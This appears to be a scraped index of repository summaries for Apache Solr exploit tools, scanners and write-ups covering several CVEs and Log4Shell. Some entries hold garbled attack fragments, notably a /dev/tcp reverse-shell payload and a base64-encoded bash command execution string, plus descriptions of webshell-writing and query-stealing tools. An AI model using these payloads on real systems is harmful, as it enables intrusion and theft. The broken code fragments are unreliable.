CVE-2026-44825-Apache-Solr-Scanner

CVE-2026-44825 Apache Solr 扫描器 本仓库包含一个基于 Go 的扫描器，用于检测和测试可能受 CVE-2026-44825 影响的 Apache Solr 实例，该漏洞与 Velocity 模板远程代码执行（RCE）条件相关。 该工具可以扫描单个目标或目标列表，检测 Solr 端点，尝试身份验证检查，并可选地运行利用或交互式 RCE 工作流模式。 关于本项目 本项目仅适用于已获得明确许可的环境中的授权安全研究、内部验证和防御性测试。 该扫描器不适用于未经授权访问或滥用第三方系统。 功能 扫描单个目标或包含多个目标的文件 通过常见服务端点检测 Apache Sol...

Apache Solr - Authentication Bypass

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the origina...

Apache Solr - Host Environment Variables Leak via Metrics API

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr. The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to wor...

cve-2017-12629

自述文件 在 Apache Solr 7.1 之前的版本中，结合使用 Apache Lucene 7.1 之前的版本，通过利用 XXE 并配合 Config API 的 add-listener 命令来触发 RunExecutableListener 类，可实现远程代码执行。Elasticsearch 虽然使用了 Lucene，但不受此漏洞影响。请注意，XML 外部实体扩展漏洞存在于 XML 查询解析器中，默认情况下，任何带有参数 deftype=xmlparser 的查询请求均可利用该漏洞，通过向 /upload 请求处理器上传恶意数据，或作为使用 FTP 包装器的 Blind...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 参考（向dalao们致敬）： CVE-2023-50386漏洞作者博客 Java Security Manager绕过姿势 JDK 17下的反射保护绕过 JNI绕Rasp 漏洞利用原理和思考：https://mp.weixin.qq.com/s/mO4e8aiuL56yBdOD4jy2qQ poc是用Pocsuite3写的，直接用框架运行即可，若不使用框架，则提取其核心实现出来也可以...

CVE-2021-44228

Log4j 漏洞 - CVE-2021-44228 📗 简介 该漏洞于2021年12月9日被发现，标识为 CVE-2021-44228 ，影响 Java 日志包，严重性评分（CVSS）为 10 分 ，可远程执行代码控制主机。安全社区将此漏洞称为 LOG4SHELL 。 如需查看受 LOG4J 漏洞影响的软件供应商列表，请查看以下仓库； GitHub/Log4jAttackSurface 侦察 为了演示此类攻击，我们有一台运行易受攻击版本（Apache Solr 8.11.0 ）的 log4j 包的主机，Java 版本为 1.8.0181 。 首先进行基本侦察，使用 nmap...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler 服务器端请求伪造（SSRF） 访问计数器 Apache Solr（全称 Searching On Lucene with Replication）是一个基于 Apache Lucene 库的免费开源搜索引擎，使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API，并支持多种编程语言的客户端库，例如 Java、Python、Ruby、C、PHP 等，广泛用于构建基于搜索和大数据分析的应用程序，涵盖网站、数据库、文件等场景。 Apache Solr...

ApacheSolrRCE

项目声明 只用于信息安全教学交流，请勿用于非法测试和攻击。 ApacheSolrRCE ApacheSolrRCE（CVE-2019-0193）一键写shell，原理是通过代码执行的java文件流写的马。 注：作者本人比较菜，如果你有bug或者有别的需求，请自行下载代码修改。 工具说明 由于互联网上流传的payload都是命令执行，且不方便上webshell，因此写了这段payload（回显123456时，代表写入成功）。 注：工具只能辅助测试，如果工具写不进去，建议手写。 root@kitploit: 工具用法 先点检测，获得core，并且判断有没有漏洞。 在点击getshell即可。...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Docker 演示 Mac 演示 NVD CVE-2020-13957 描述 NVD CVE-2020-13957 root@kitploit: Apache Solr 6.6.0 至 6.6.6、7.0.0 至 7.7.3 以及 8.0.0 至 8.6.2 版本阻止了一些被视为危险的特性（这些特性可能被用于远程代码执行）在通过 API 无需身份验证/授权上传的 ConfigSet 中进行配置。通过使用 UPLOAD/CREATE 操作的组合，可以绕过为防止此类特性而设置的检查。 Docker 搭建 PoC 环境 1. 根据...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2019-12409

CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5 This is an early PoC of the Apache Solr RCE From https://issues.apache.org/jira/browse/SOLR-13301: ConfigAPI allows to configure Solr's JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker coul...

Solr-SSRF

Solr-SSRF CVE-2021-27905 Burp文件的repeat包里有复现的具体步骤 POC为Xray的检测插件...

Solr-GRAB

Solr-GRAB Roba consultas de instancias de Apache Solr con o sin nombre de usuario y contraseña. DESCARGO DE RESPONSABILIDAD : Este proyecto debe usarse solo para pruebas autorizadas y fines educativos. Descarga root@kitploit: git clone https://github.com/GnosticPlayers/Solr-GRAB Uso Puedes buscar...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 注入以获取 shell 用于编码 url, postrequest, getrequest...

CVE-2020-13941

CVE-2020-13941: Abuso de rutas UNC en entornos Windows en Apache Solr Se ha descubierto que múltiples endpoints de Solr aceptan rutas absolutas. En sistemas Windows, estas rutas absolutas pueden ser forzadas para hacer que el sistema operativo se conecte a un servidor SMB controlado por el...

apache-solr-log4j-CVE-2021-44228

此存储库没有 README。...

cve-2019-17558-apache-solr-rce

Apache Solr RCE CVE-2019-17558 - Write-up de CTF Explotación práctica de una vulnerabilidad de inyección de plantillas Velocity Velocity Template Injection en Apache Solr, evolucionando de una falla en una herramienta automatizada Metasploit a una explotación manual exitosa. Este write-up documen...

solr_rce

Apache Solr RCE via Velocity template python usage: python solrrce.py http://x.x.x.x:8983 command getshell encode payload http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introduction to Solr Solr is an open-source enterprise search platform...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 en Apache Solr Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr. El Entorno Objetivo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ejecutando una versión vulnerable de Log4j. Atacante kali-lab: Contenedor Kali...